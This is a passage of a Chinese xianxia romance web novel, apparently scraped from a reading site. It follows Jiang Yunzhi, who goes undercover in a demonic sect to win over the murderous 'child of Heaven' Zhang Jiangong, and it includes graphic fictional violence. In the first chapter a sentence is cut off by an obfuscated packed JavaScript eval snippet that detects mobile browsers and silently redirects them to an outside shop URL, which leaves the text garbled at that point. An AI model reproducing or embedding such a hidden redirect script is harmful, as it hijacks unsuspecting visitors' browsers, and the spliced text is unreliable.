他们本想和天灵根结队,可惜全被拒绝了,现在看到两人交换木牌,有人想上前阻止,但瞧见那杂灵根脸上密布的刀痕后,越看越觉得可怖,可怖到他们纷纷背过身,不愿再细瞧。 章见伀满脸的刀痕很扎眼,有人恐惧,也有人在盘算。 “他不过是个筑基,还是个杂灵根,等会儿就专门跟着他,但凡他获得什么机缘,我们便杀他夺宝。” 几道人影鬼鬼祟祟地跟上去。 姜昀之与章见伀结队完后,周遭的景色一变,两人正式被纳入山林间的试炼阵法中,扑面而来的迷雾是阵法造出的迷障。 迷雾中传来阴森的呼啸声,不像风的声音,像鬼魂游动的声响。 章见伀朝迷雾深处走去,一眨眼隐去身形,已然消失。 姜昀之:“道友……” 哪里还有道友的踪迹,四周空荡,只剩下她一人。 神器:“天道之子应该是去杀人去了。” 神器:“之前说过,天道之子是上古神的转世,天地间的灵气会源源不断涌向他们转世的神魂,以他们现在的凡人身躯,根本无法承接得住无止境的灵气,这才会引发几近爆体而亡的痛苦,日日烧灼他们的神魂。章见伀修的是修罗道,他纾解神魂灼烧之痛的办法,便是杀人,不停地杀人。” 神器:“好不容易才见到他,不能就此跟他分开了,否则下一次相见,不知要等到何年何月。” 四周鬼声呼啸,阴气缭绕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697393|189029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,姜昀之抬手,从身旁的松树上折下一段松枝,以松枝为剑,可辟邪。 姜昀之手执松枝,往迷雾深处走:“我去找他。” 其他人都是努力往迷雾外走,寻找山林的出口,姜昀之与他们走向相反的方向,她得去找章见伀。 越往深处走,阴气越重。 雾气里,时而能看到修士们慌乱地往外跑。他们嘴中喃喃:“怎么回事,这地方我刚才不是来过吗,鬼打墙?” 一滴水忽而落在姜昀之的额角,她抬眼望去,却见一道嘴角尽裂的鬼魂从上空朝她袭来,发出尖锐的吼叫声。 姜昀之往后急退一步,错开鬼魂的扑击,手中的松枝被她挑起,指节分明的手十分有力,挥动松枝插入鬼魂的阴气里。 “啪!”得一声,松枝在半空划出苍劲的风声。 鬼魂在呼啸声中被松枝挥散,化为一滩灰色的腥水,扑朔落在地上。 越往里走,鬼魂越多,阴气愈发重。 姜昀之手中的松枝没歇下过,时不时就得挑枝灭魂,先前用的松枝被鬼魂绞断,她又重新折了一支新的。 在雾气里走了太久,还是没找到章见伀,姜昀之的衣角早已被雾气打湿。 迷雾深处,时不时传来弟子们的尖叫声,又偶尔传来鬼魂啃食人骨头的声响。 “道友!这位道友,能不能救救我!”深林中传来凄惨的呼叫声。 有个男修士在地上翻滚,拼命躲避围聚而来的鬼魂,腿上的伤口正不断往外流血,隐约有不敌之势,他朝姜昀之呼救:“道友救我!” 姜昀之循着叫声朝他看去,轻轻地一瞥,露出歉意的笑容,并不作任何停留,继续往前走。 神器:“契主,你不去救他吗?” 姜昀之:“莫介他人因果。” 这是无情道的宗旨。 呼救的修士也许会死,他死不是因为路过的人没有去救他,而是因为他弱。 神器这才由衷地意识到姜昀之修习的是无情道,而且修习得极好,从某种意义上而言,她是个彻底的无情之人。 山林间,倒在地上的男修士见姜昀之走远,立马翻身站起来,钻回灌木丛中。 灌木丛里还有另外四道身影:“竟然没有上当吗?” “没想到那天灵根长得那么道貌岸然,却也是狠心的人,对呼救声不管不问,转瞬便走了。” “可惜,原本想着把人引到陷阱里,我们五个人联手定能对付她,怎么就没中计呢。” “我们再往前走一走,定还有其他落单的人,尤其是那个筑基期的杂灵根,他最容易对付。” 五位修士的黑影遁入迷雾中,飞快地离去,先在东南方向合力砍杀一个修士,搜走他身上的灵宝后,又掉头往西南方向遁走。 不久后,许是运气好,还真叫他们找到了那个落单的、面容可怖的男人。 高大修长的身影站在山林中央,并不掩藏自己的身影,像是在等着什么人一般。 修士们面面相觑,脸上露出狠意:“上!” 修士们纷纷从灌木丛中钻出来,朝章见伀飞扑而去,手上符剑毕出,全都砸向他。 章见伀若有所感,缓慢而僵硬地往后看,瞳孔在月光下泛出幽邃的暗红。 雪光乍现—— 章见伀身后的那把雪刀于转瞬间出鞘,冷白的刀面在半空中划过,雪光乍现的那一刹那,刀刃直接砍断一个修士的腰身,砍人骨骼,比砍雪还要轻松。 血雾喷射,被腰斩的修士分成两截落地,上半身还没死透,眼睁睁地看着自己的下半身落地,喉咙中发出绝望至极的尖叫声。 此情此景,让其他四个扑过来的修士顿时停下脚步,浑身发冷地转身就逃。 来不及了。 雪刀于半空中挥动,章见伀的身影忽隐忽现,雪刀所到之处,断肢如同雨一般落下,血水四溢。 地上铺满断裂的尸块,胳膊、腿、头颅、半张脸……零零散散,竟已有三十余人的尸身。 铮鸣声响,章见伀将雪刀收回刀鞘,双眼中是翻涌不尽的杀戮欲望。山林间的血气化为修罗黑气,附上章见伀的面孔,黑气遮盖的地方,伤口正在缓慢地痊愈、消失。 还不够。 远远不够。 神魂的灼烧无时无刻地作痛,才死这么点儿人,远远不能抚平他心中的躁郁。 自幼时起,天地间源源不断的灵气便涌向他的躯体,日日地灼烧他的神魂,体内的灵气想要炸裂他的躯体,他用修为来抵挡这股冲力,可还是有不少灵气渗出来,划伤他的面孔,化作一道道密集的可怖伤口。 他并不在意自己的面孔上是否有刀痕,无法忍受的是日复一日的神魂灼烧。天道不公,他便以修罗道反天道。 杀戮的欲望若是得不到满足,神魂的灼烧便会越来越厉害。 真想把漫山的人都屠尽了。 体内的灵气像是能感应到他在想什么,猛地一震,神魂的灼烧感反扑,章见伀脸上的伤口再次皲裂,周身黑气阵阵。喉中泛起血腥味,章见伀早已习惯这种灼烧,任由脸上的伤口往外渗血,动也不动。 他迟早有一天,会把所谓的天道给找出来,彻底弄死。 章见伀此时的脸恐怖至极,新鲜的刀痕变深,密集的伤口不停地流血,额头上的血往下淌,流经双眼,章见伀的视野变得血红。 章见伀没管脸上的血,正在寻思该到哪里再杀人,身旁响起细微而快的脚步声。 “没事吧。”低而轻的声音响起。 章见伀垂眼的功夫,一方柔软的帕子已经覆上了他的脸,裹住他脸上的血细细擦拭,传来的香气比春雪还要清新。 章见伀皱起眉,将脸旁的手挥开,垂眼望向身前的少女。 姜昀之认真地看向他,眼中满是担忧:“你怎么了,怎么会伤得如此严重?” 少女透亮的双眼干净至极,好似能看清世间万物的灵魂。 她腰间的环佩发出一声轻响,这代表天道之子的好感有所变化。 4. 第四章 “你的脸伤得太严重了,得止血,我的帕子上浸了药,能止血。” 姜昀之踮起脚,柔软的帕子覆在章见伀流血的伤口上,轻轻地按住,脸侧传来清凉的麻意。 见章见伀冷漠地望着她,似乎还想挥开她的手,姜昀之道:“我动作很轻,不会疼的。” 章见伀的眉头皱得更深,血红的眸子盯向眼前的少女。 这人竟然真的在关心一个和自己事不关己的人。 一个道貌岸然的好人。 向来是章见伀最讨厌的一类人。 章见伀:“你不害怕我的脸吗?” 章见伀现在的面孔密布新鲜的刀痕,纵横交错,比蛛网还要密集,但凡是个正常人看到了,都无法面不改色地直视他。 神器紧闭双眼:“我、我害怕。看着就疼。” 姜昀之:“为何要害怕?”手中柔软的帕子继而细细地擦拭他的另一侧脸。 她确实不害怕,姜昀之从来不是以貌取人的人。 章见伀的双眼一动不动地落在姜昀之的脸上,似乎在分辨她话语的真假。 那股比春雪还要清新的气味,若有若无地传来,意外地抚平萦绕在他心间的躁郁和杀意,让心神逐渐归于宁静。 章见伀的眸子由血红恢复成原有的暗红,周身的血腥被春雪般的气息给冲散,体内的灵气似也不再躁动。 章见伀盯向姜昀之,沉声问道:“帕子上的雪味哪来的?” 姜昀之:“雪?帕子上怎么会有雪味,不应该是药味么?” 章见伀宽大的手掌一把拽过帕子,放在自己的鼻前。 ……确实只有药味。 那股春雪般的气息并不是从帕子上传来,而是从…… 章见伀猛地攥住姜昀之的手腕,力道不重,却让人无法挣脱,男人骨节分明的手指扣在少女纤细白皙的手腕上,他将姜昀之的手腕拉向自己。 姜昀之一怔,望着自己的手腕被章见伀拽去,男人挺拔的鼻尖近乎抵住她的肌肤,留下一片灼热的呼吸。 他看起来好像要咬断她的手腕。 姜昀之想要抽回自己的手腕,章见伀没放。 春雪的气息带来近乎虚无的洁净,让人的心神仿若浸入冰水中,不再被杂绪烦扰。 章见伀不由将少女的手腕攥得更紧。 “嘶。”姜昀之轻声道。 章见伀这才放轻力道,指骨却依旧若有若无地环住她的手腕,未曾真正松开:“疼?” 他就这么虚虚一握,怎么可能疼,莫不是在碰瓷? 姜昀之:“疼。” 娇气。 章见松将手指的力度放轻,姜昀之趁机抽回自己的手腕,轻轻地揉了揉:“道友,你的劲儿可真不小。” 少女腕间洁白的肌肤上,赫然多出几道绯色的长痕,勾勒出章见伀适才指节紧攥的力道。 连肌肤都如此娇气。 就这么轻轻一碰,竟然就留下了印儿。 章见伀冷漠道:“可真是个瓷美人。” 一碰就碎。 瓷美人不是什么好话,姜昀之刚想说些什么,眼前高大修长的身影往前走。 体内的灵气已不再躁动,没了杀人的欲望,章见伀并不耐烦于在山林间久留,他站在迷雾中央,手间结出一个繁复至极的修罗印,黑气在他的手指间涌动,径直把迷雾中的阵法撕开一个庞大的裂口。 手撕阵法。 转瞬之间,章见伀已踏出阵法,他离开后,阵法被撕开的缝隙重新弥合。 临走之前,他看了姜昀之一眼,少女站在夜色中,比落于溪涧旁的花还要柔美。 喜欢多管闲事。 看起来不像是个久活之人。 阵法的裂口愈合如初,原地只剩下姜昀之一人。 神器:“……” 神器:“还真是神出鬼没。” 连个招呼不打就走了,也没想着把自己的结队人一起带出阵法…… 姜昀之倒是没觉得意外,她盯着裂口消失的方向瞧了会儿,转过身:“我们也该出去了。” 少女挑起松枝,往迷雾外走。 越靠近结界的边缘,阴鬼愈厉害,断了三支松枝后,姜昀之抵开身前低垂的松叶,继续往前走。 她身后,三个被松枝洞穿的阴鬼从半空往下坠落,窟窿边缘弥散姜昀之留下的森然灵气,结出一层浅薄的冰霜。阴鬼于咆哮声中陨灭,化为三滩腥水,泼入泥地里。 走出结界的时候,已然是戌时,山林外亮起一盏盏灯笼。 “试炼结束。”执事弟子道。 上千个弟子前来参加选拔,四百个弟子入山林试炼,最终能走出林子的,只有十六个人。 十六个人里,除了一个木灵根,其余都是天灵根。 “恭喜你们十六个人通过试炼,从现在开始,你们就是负雪宗的外门弟子了。” “从明天开始,你们要进行为期十五日的苦修,这是对你们的试炼,能撑到试炼结束的方能入内门拜师。” 这意味着,接下来半个月的苦修中,他们还得竞争。 众人的眼神顿时变得警惕。 执事弟子招招手,身后的杂役端案板上前,木案上,陈列着外门弟子的宗门木牌。 执事弟子:“在木牌上写下名字,就算是和负雪宗定契,正式成为负雪宗的弟子了。” 众人接过木牌,提笔写下各自的名字。 名字是道法中最小的咒语,写下名字代表将自己和负雪宗联结在一起,所以名字不可造假,必须是落笔人的真实名讳。 姜昀之提笔的手顿了顿,她自然不能落下本名……片刻后,笔毫落木,发出细微的沙沙声。 ‘昭明’。 昭天地之大,明无情事理。 这是姜昀之的字。 - 新进的外门弟子被牵引入山门,各自分到住所。 夜色沉沉,月光斜斜地洒在院子里,偶尔传来几声虫鸣,屋内亮着烛光。 负雪宗灵气充裕,和贫瘠的湌松宗截然不同,连院子里的梅花都身沐灵气,花骨朵开得饱满。 影影绰绰的烛光旁,姜昀之坐在案桌前。 神器:“后面还要考入明烛宗和天南宗,得提前想好另外两个名字。” 毕竟是卧底任务,得隐姓埋名,方便往后全身而退。 神器:“你还有其他名字吗,只要不是‘姜昀之’就行了,或者小名也行……昀昀?之之?昭昭?” 姜昀之:“……” 姜昀之:“我还有两个许久不用的字。” 修士多喜取‘字’以昭明心志,故而一人有两三字号,也是寻常。 姜昀之:“一曰‘之明’,一曰‘昭昀’。” 各取‘昀之’和‘昭明’的一个字。 神器:“甚好,甚好。” 神器:“无论名号如何,行事都需谨慎,负雪宗不容易,其他两个宗也不容易。我已打听清楚,明烛宗的弟子选拔将于十日后开启,契主,到时候靠你了。” 明日还得早起苦修的姜昀之:“……” 神器知晓任务繁重,有些不好意思地转移话题:“我们来看看天道之子的好感吧。” “好。”姜昀之摘下腰间的环佩,放到木案上。 在读取环佩前,神器道:“你和章见伀太过不同,可以说是完全相反的存在,越是相反,他越容易被你吸引,这类攻略路线是触底反弹的类型,前期好感值被压得越低,后期好感值就会攀升得越高。” 神器:“让我看看他现在对你的好感值……” “负一。”神器艰难地开口。 环佩玎玲作响的时候,天之骄子的好感度果然是在降低。 神器:“……” 虽说早知道走这种路线,前期好感度下降是必然,但真的看到好感值变成负的,神器一阵肉疼。 姜昀之惊异于环佩竟然真的能读出他人对她的好感,好奇地垂了垂眼。 她宽慰道:“既然是触底反弹,弟子会多找机会去靠近他,争取早日能触到‘底’。” 接下来是长达半个月的苦修,外门弟子的住所离内门很远,这意味着姜昀之需得从繁重的苦修中挤出时间,外出寻觅天道之子的踪迹。 姜昀之将环佩挂回腰间。 还真是‘新事常续旧事生’。① 既然时间如此不堪用,那便见缝插针吧。 - 隔日天未亮,十六位外门弟子齐聚山头,在执事弟子的带领下,正式开始苦修。 苦修,字如其名,是真的特别苦。 卯时,众弟子背上石块绕山跑。 背上的石块并非普通的山石,重逾二百斤,取自负雪宗的寒潭,若一个大冰块压在脊骨上,冻得弟子们的后背不停地抖。 绕山跑出几十里,汗水如水般往下流,背上的山石依旧冰凉,冷热交加,弟子们气喘吁吁。 跑至正午,执事弟子把十六位弟子带入寒潭,让他们打坐。 “打坐?”一位弟子喜笑颜开,“打坐容易啊,权当放松了。” 进入寒潭,瀑布的轰鸣呼啸而来,大力地砸向深潭,溅起大片的水雾,从天而降的水流几乎要将潭中的岩石给撞碎。 瀑布轰鸣声太大,执事弟子指向瀑布,提声喊:“这就是你们打坐的地方了。” 弟子们:“……” 姜昀之:“……” 自午时至申时,日头最盛,瀑流极狂。 暴烈的瀑布滔滔往下砸落,轰然浇在弟子们的身上,拍得人身形乱晃,日光穿瀑而来,晃目欲盲,眼前全是一片白的水雾,瀑声震耳欲聋。 姜昀之深吸一口气,努力在水瀑中坐稳,不被水流冲走。 气沉丹田,强迫自己在震耳欲聋中的水声中静下心。 打坐结束的时候太阳快落山,弟子们被泡得浑身浮肿发白,指甲周围的皮肤翻起细小的毛刺,冻得几乎要当场晕死过去。 这才是个开始。 酉时,他们被执事弟子牵引到后山的血池。 血池是由尸身腥血所化的煞气池,庞大的池中飘满尸体,暗红的浆液翻滚,仔细看,还能看到大量的蛆虫在池中翻滚。 看到此情此景,一整天没吃饭的弟子们,忍不住地想干呕。 执事弟子:“接下来的任务,是从血池里捞血珠子,捞满十个血珠子,今日的苦修才算结束,不捞满十个,你们就得一直待在这里。” 血珠子由尸体炼化所成,在池底游动极快,非常难抓捕。 执事弟子:“我刚进宗门那会儿,三个时辰才捞到了一个血珠子,你们还是快些行动吧,血珠子越到晚上越兴奋,更难捞住。” 弟子们生无可恋地望着偌大的血池:“……” 经受过山石的重压和水瀑的冲击,众人的骨头快散架,走路都艰难,疲惫到恨不得立即倒头睡下,实在没气力再下血池捞珠子。 累到连勾心斗角、竞争的力气都没有了。 不少人摆烂地在血池旁坐下,反正得通宵捞珠子,不如先休息会儿。 执事弟子用力拍了拍自己腰身的剑:“动作快点儿,别懒怠。” 他指向血池中:“看看人家,已经下去捞了。” 众人大惊。 谁? 是谁这么卷? 众人望向血池,只见一道修长的身影深陷血潭,她认真地观察水面,小心地靠近波纹摇曳的地方,屏息凝神,耐心至极地等待。 “啪!” 血珠子快要弹出池面的同时,姜昀之极快地伸手捞住,白皙的双手牢牢地攥住手心中奋力挣扎的血珠子,看似纤瘦的手有力至极,就算指骨快要被炸开也绝不松手。 约莫一刻钟之后,血珠子才逐渐不再挣动,姜昀之低声念了一声咒,腥臭的血从珠子表面淌尽,露出里面晶莹剔透的珠身。 姜昀之将血珠子放入乾坤袋中,转身寻找下一个血珠子,她抬眼—— 对上岸上一群瞠目结舌望向她的视线。 姜昀之:“……” 所有弟子的脸上无声地写了几个大字:到、底、是、谁、这、么、卷? 没想到他们一开始最不看好的瓷美人,竟然是最卷的那个。只见瓷美人瞧了他们一眼,又躬身去捞其他血珠子。 弟子们:“……” 神器:“契主,你不累吗?” 姜昀之:“累又能如何?” 需得尽早捞出十个珠子,尽早结束今日的苦修,她才有剩余的时间去寻觅天之骄子的踪迹,以及准备明烛宗的选拔。 神器:“契主,你难道不觉得捞血珠子完全就是执事弟子的刁难么?” 姜昀之:“何以见得?” 她道:“修罗道的核心是煞气,说到底,修罗道就是在感受煞气,化用煞气。” 宗门让外门弟子进血池苦修,是想让他们身沐煞气,体悟修罗道的基础。 神器:“是这么个道理,不过,契主,你已然劳碌了一整日,要不停下来休息会儿,我去偷点东西给你吃。” 姜昀之:“……无碍。” 虽然她来负雪宗是来当卧底的,没必要认真学修罗道,按道理说敷衍敷衍就行了,但姜昀之从来不是敷衍之人。 凡事都是有代价的。 既然想结修罗道金丹,想成为他人的认可师妹,就不得有敷衍之心。 修道,无论修什么道,都得心存敬畏。 哪怕枯燥,也得打好基础。 姜昀之把第三颗血珠子放进乾坤袋,朝血池更深处走去。 - 姜昀之每日都会尽量提早完成苦修。 章见伀踪迹难寻,神器说他经常在血腥气重的地方出没,姜昀之每夜都得去寻。 山林、深潭、后山刑堂,前山废弃的驿亭…… 神器:“……八天过去了,连天道之子的影子都没看到,他到底去哪儿了……”神器的声音有气无力。 姜昀之摇了摇头,轻声叹了口气。 夜色太深,今日依旧是毫无收获。 姜昀之没有回住所,她折回血池。 神器:“为什么又回去了?今日的十个珠子不是已经捞完了么,契主,你快回去休息吧,别累坏了。” 姜昀之摘下剑,趟入血池中:“我想把明天的十个珠子也捞出来。” 这样就能更早地结束明日的苦修,能有更多的时间去寻人。 这几日一直没 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因昨夜姜昀之已将血珠子全提前捞好,今日她不必再去血池,天色未晚便前往后山,专心寻人。 神器认真地感应着。 后山没有、前山没有、驿亭没有,另一座山的山林…… 神器:“找到了!” 神器:“可终于找到人了。” 姜昀之松了一口气,她御剑飞落,放慢步履,朝山林里走去。 黄昏的日光洒在山林间,将树叶映上一层金黄,林间小径上光影斑驳,远山层叠的暮色模糊而柔软。 姜昀之今日穿了身荔枝白的罗裙,衣摆柔顺如云,裙裾浅浅地绣着几枝半绽的木槿,走动间,花枝似是活了过来。 她行得不紧不慢,直至看到远处那道高大修长的身影。 章见伀站在松树下,雪刀倒插于地,树下显然埋过不少亡魂,地底的煞气汩汩地往上涌,滋养雪刀的锋刃。 他身上的血腥气要比姜昀之上次见他时还要浓郁。 章见伀今日杀了不少人,多到他脸上的伤口彻底愈合,密集的刀痕消失后,露出他的真容。 苍白,冷硬,轮廓分明。 男人的眼窝深邃,瞳孔的颜色异于常人,并非深黑,而是沉郁的、化不开的暗红,与他对视时,仿若能看见尸山血海的倒影。 是一种极具压迫感的英俊,让人不敢细看。 神器:“不愧是天之骄子。” 姜昀之并非以貌取人之人,见到章见伀的真容,她的神情并没有什么变化。 章见伀朝她这处看来后,少女往前一步,作揖道:“师兄。” 章见松垂眼望向她,眼神冷漠,似乎在回想眼前的少女到底是谁。 只见过一面的人,章见伀基本都记不住,不过姜昀之的这张脸太过犯规,让人想忘都忘不了。 哦。 那天的那个瓷美人。 章见伀的眼中升起些许兴味:“你还活着?” 本以为是个不能久活之人,没想到不仅入了负雪宗,还能熬过接连多日的苦修。 倒是让人意外。 姜昀之:“……是。” 姜昀之:“刚结束修炼,没想到能在此遇到师兄。” 章见伀:“你,唤我师兄?” 姜昀之:“执事弟子已经将师兄入山林试炼的事告诉了我们,我这才知晓当日与我结队的‘道友’竟然是大师兄您。” 她道:“一直敬仰大师兄的威名,没曾想当时能有幸和师兄结队,幸好没给师兄拖后腿。” 说罢,姜昀之露出一个浅浅的笑。 少女的笑比初融的雪还要澄澈,浅浅一笑,竟将暮色下渐沉的昏暗都映衬得亮了几分。 依旧是章见伀最讨厌的那种笑。 几日没见,她还是这副和负雪宗格格不入的模样。 连暮色都偏爱她,将柔和的光影尽数洒在她的身上。 章见伀皱起眉,上下地打量她。 多日的苦修似乎没有给她带来任何变化,她身上的气息依旧干净到要命,还是那股若有若无的春雪气息,周身一点煞气没有。 章见伀:“你们这几天苦修都在练些什么,去过血池么?” “去过的。”姜昀之道,“执事弟子带着我们修炼,除却早上的环山跑,中午的瀑布打坐,每夜我们都会去血池捞血珠子,捞满十个珠子才能结束一日的苦修。” 章见伀挑了挑眉头:“那你现在为什么出现在这里?” 姜昀之又是一笑:“我提前捞完血珠子了。” 笑起来时,少女抬眼望向她,似是在期待他的夸奖。 章见伀顿了顿,避开少女惹人心烦的笑:“你不适合修罗道。” 姜昀之脸上的笑定了定,缓慢地敛去,不解地问:“师兄何出所言?” “师兄,”她道,“我努力修炼了,每日都练得很认真,从未躲懒过。” 章见伀:“天天在血池里泡着,身上却连半分煞气都沾不上,说明你根本不是一个有血性的人。” 许是今日杀够了人,他今日心情不错,颇有耐心地继续问她:“你敢杀人么?” 姜昀之的应答出乎他的意料:“我为何要杀人?” 少女理所当然的神情,若是让那些修罗道的大能看去,怕是要怀疑自己坚信多年的理念是不是出了错—— 修罗道不杀人,你修什么修罗道? 不仅得杀人,最好要滥杀无辜。 少女依旧不解:“修炼修罗道,为什么一定要杀人,为什么要滥杀无辜?” 她似是非常反感这个说法,好看的眉头紧紧地皱起。 章见伀觉得眼前之人简直不可理喻,比他见过的任何一个正道之人都要道貌岸然。 冥顽不灵,何必多言。 章见伀转身要离开,被姜昀之拦住了去路:“师兄为何不信我,我能证明给你看。” 她没再多说些什么,举起修长的手指,沉静地开始结印,白皙的十指有力而有序地交叠,右手中指和拇指扣在一起的同时左手的小指同时内屈,抵住掌心的劳宫穴。 这是修罗印。 少女的结印越来越快,十指交错、缠绕、分离、再合,每个印都结得精准而迅速,指骨绷紧,周围的灵气一位内她的动作而骤然变化,发出细微的嗡鸣。 章见伀一怔,他停下脚步。 姜昀之结的印,和他在试炼那日结的修罗印一模一样,每个动作都没有任何出入。 此修罗印是他自创的,繁复至极,他只在姜昀之面前演示过一次,没想到她竟然分毫不差地记住了。 姜昀之专注地结印,直至最后双手猛地在胸前合拢,十指紧而有力地交锁。 印成。 半空的灵气被划开一道大口子,不断嗡鸣。虽没有章见伀先前撕开的裂口大,但已是颇有规模。 姜昀之认真地望向章见伀:“弟子不需要杀人,只需要变强就行了。” 少女的眼眸干净至极:“有朝一日,我说不定能变得和师兄一样厉害。” 暮风中,姜昀之腰间的环佩发出一声轻响。 5. 第五章 这个由章见伀创造出的修罗印,明明出世的时候代表的是杀戮和残酷,结果在姜昀之的手间,不仅半点血腥气全无,反而演化为一种截然相反的禁欲美感。 就好像这是个正道的印法一般。 章见伀都快认不出自己创造出来的修罗印了,印象中,这确凿是个用来杀人的印法。 他暗红的双眼缓慢地望向姜昀之。 不仅学得快,而且能化为己用,这倒是有些意思。 不过好好一个杀人的印法被改成这样,还真是牛头不对马嘴。 章见伀实在看不懂眼前这个正道之人,也不想看懂。 她的身上,有着他最排斥的纯善。 愚善。 姜昀之放下手,松树四周的灵气裂口弥合如初。 她眉眼生动地望向章见伀:“师兄,我的印结的怎么样?” 章见伀:“有些天赋。”他倒是不会在实力上否认她。 他问:“你为什么要加入负雪宗?” 既然有些天赋,她更适合那些道貌岸然的正派,譬如明烛宗,为何要来一个和她本身路数相反的负雪宗。 “因为负雪宗从不强求修道者必须要跟着经书走,从不过分规束弟子的修习之法,每个人都能有不同的想法,就算和长辈、长老的修道理念不同,也不会被苛责,不会被认为是邪门歪道。”姜昀之道。 负雪宗就认一个理。 谁强谁有理。 姜昀之望着章见伀的双眼愈发透亮:“就譬如我,师兄,我觉得我的修罗道可以无需以杀人祭道法,这是我的道。” 少女说起道法的时候专注而认真,就算章见伀并不认可她的话,也没有继续反驳她,只是皱了皱眉头。 道不同,不相为谋。 山林间雾气愈重,远处传来鸟鸣,暮风轻柔地吹动起少女侧脸的青丝。 “而且……我进负雪宗……其实有一个最重要的原因,”姜昀之的声音放轻,变得有些断断续续,“因为……” 她飞快地望了一眼章见伀:“我一直很敬仰大师兄,想成为师兄一样厉害的人。” 说完后她立即低下头,白皙的脸倏地红透了,显眼的绯色怎么藏都藏不住,落在章见伀的眼中。 比晚霞还红。 他不动声色地挑了挑眉。 这个人怎么这么容易变红,上次的手腕也是,这次的脸也是……这么薄的脸皮,就算剥下来制成灯笼皮,都容易被吹破。 不耐用。 少女的脸还红着,她低垂眉眼,不想抬起头,轻声道:“师兄,你能再教我结一个印吗,我学东西很快的,肯定能学会。” 出乎意料,章见伀竟然没拒绝。 看来他今日确实杀了不少人,心情实在不错。 章见伀:“你想学什么?” 姜昀之:“只要是师兄教的,肯定都能有所裨益。” 章见伀快速地结了一个的印,比之前的修罗印要简单许多,姜昀之看了一眼便学会了,好奇地问:“师兄,这是什么印?” 章见伀看了她一眼:“剥人脸皮的印法,再薄的脸皮,都能被此印法给干净地剥下来。” 他道:“当然,你也可以用来剥下自己的脸皮。” 姜昀之停下结印的动作:“……” 知道自己被戏耍了,少女也不恼,只是乖巧地放下手,时不时偷觑章见伀一眼,看起来仿若真是位敬仰大师兄已久的外门师妹,一直留在这里不走,只盼能从师兄身上学到更多的东西。 但神器知晓姜昀之不是,她明明刚认识章见伀不久,而且是个彻头彻尾的无情道。 契主真好啊,她真可靠。 不愧是当时它唯一能有所感的契主,无论做什么事都能这般全神贯注,它也算是有靠山了呜呜呜…… “师兄。”姜昀之递出自己的木牌,“这是我的名字,你若是能记住……”那就好了。 章见伀冷漠地垂眼:“我为何要记住你?” 能让他记住名字的人,基本都在地底躺着了。 不过,这个名字……‘昭明’。 连名字都这般道貌岸然。 他望向姜昀之因紧张而交错的十指。 果不其然,薄薄的脸皮又红了,看起来快要冒烟了。 姜昀之:“师兄不、不想记住也没事。” 她几乎喃喃道:“等我入了内门,师兄就能常常看到我,届时师兄自然便能记住我了。” 蚊子般的自言自语声被章见伀听到了:“就这么笃定自己能入内门?” 姜昀之:“弟子会尽力为之。” 章见伀淡淡道:“你就算入了内门也见不到我。” 接下来的时间里,他基本不在门派里。 他向来如此,一年到头,在负雪宗里待着的日子,加起来不到两个月。 如若不是此次的入门试炼能提供大量的刀下魂,章见伀根本不会出现在负雪宗内。 神器:“啊!” 神器:“别走啊,你要去哪里啊?” 从契主角度来看,卧底之事不能拖太久,得尽快被认可,尽快脱身才行。 从天道之子角度来看,他体内的灵气一定要尽快地被疏导出来,若是一直在体内如此沉积,要不了多久就会酿下大祸。 天道之子若是爆体而亡,神魂坠入地底,会给人间带来浩劫。 这可是大麻烦。 这便是当初天道造它的原因,它和龙傲天神器不同,它能为天道之子引出灵气,而龙傲天神器纯利用,虽能替它的契主化用天道的灵气,却没有疏导灵气的这项功能。 毕竟它有一大片封印地可以承接天地间浩然的灵气,而龙神器的灵气只会引向它的契主。 区区凡人,又能承接得住多少灵气,故而没有疏导之用。① 神器:“契主,攻略的事不能往后拖啊,对你和对他都不好。” 姜昀之明白,不过作为一个初入山门的外门师妹,她不能对宗门的大师兄的来去有过分的好奇。 这不恭敬,也不合理。 “师兄是要外出试炼么?”少女的眼中有羡慕,“我真希望自己也能快些学有所成,早日下山历练。” 章见伀没说是,也没说不是,只是冷笑。 历练? 他的外出无非是杀人,去不同的地方杀人。 暮色渐深,插在地底的雪刀吸尽地底的煞气,刀面所附的黑气变得无比饱满,锋利到能割开往下落的树叶。 雪刀归鞘。 事已做完,章见伀便要离开,这次他没有不告而别,转身朝姜昀之望去。 此人的修罗印给他留下不小的印象,实力强、有心气的人,比所谓徒有美貌的瓷美人要好太多……不过她浑身上下透露出的纯净气息,实在让人看不顺眼。 姜昀之瞧见章见伀望向她,乖巧地回望,好看的眉头挑了挑,又行了一个礼。 少女站在沉静的暮风中,如瀑的乌黑发丝轻拂,若古雅画卷中走出的工笔美人,被黄昏的暮色浸染。 章见伀皱了皱眉。 怎么看都不像是能久活之人。 似是要对这种怎么看都不顺眼的存在眼不见为净,他转过身。 “走了。”章见伀冷淡道。 留下一句话,高大修长的身影消失在浓郁的黑气中,半空中起了一阵风,树叶飘动,等风变小时,原地只剩下姜昀之一个人。 姜昀之定了定,垂眼望向腰间适才又轻响的环佩。 风彻底停下,神器紧张地开口:“完了完了,天道之子到底要去哪里啊?” 根本感应不出来。 神器恨不得穿回两千年前,让天道创造自己的时候别光用边角料,多封些神力给它,别让它现在和个破铜烂铁一样没用。 神器和姜昀之道歉:“对不起,契主,我给你拖后腿了,天道之子的灵力太高,我实在无法感应到他到底去哪里了。” 两千年的岁数,在神器堆里只能算是个宝宝,神器因太过愧疚,破防地哭起来:“都怪我只是边角料。” 姜昀之的视线从环佩上抽离:“……出身是无法选择的,前辈不必如此自责。” 她望向雪刀在地上留下的痕迹,略一思考:“不是还有另外一个神器么?” 神器:“是的,那个比我大三万岁的龙神器。” 姜昀之:“我们可以打听他们的踪迹。” 她淡淡道:“他们肯定会去找天道之子的。” - 回到住处时,天还没彻底暗下去。 腰间有东西在摇动,这次不是环佩,是乾坤袋。 姜昀之摘下乾坤袋,把袋子里不停晃动的铜镜拿出来,摆放到案桌上。 修长的手指抚过铜镜,白光一闪,模糊的铜镜变得清晰,镜中映出人影,出现师姐和师姐的两张脸。 师姐激动地喊:“好师妹。” 师兄跟着喊:“贤妹。” 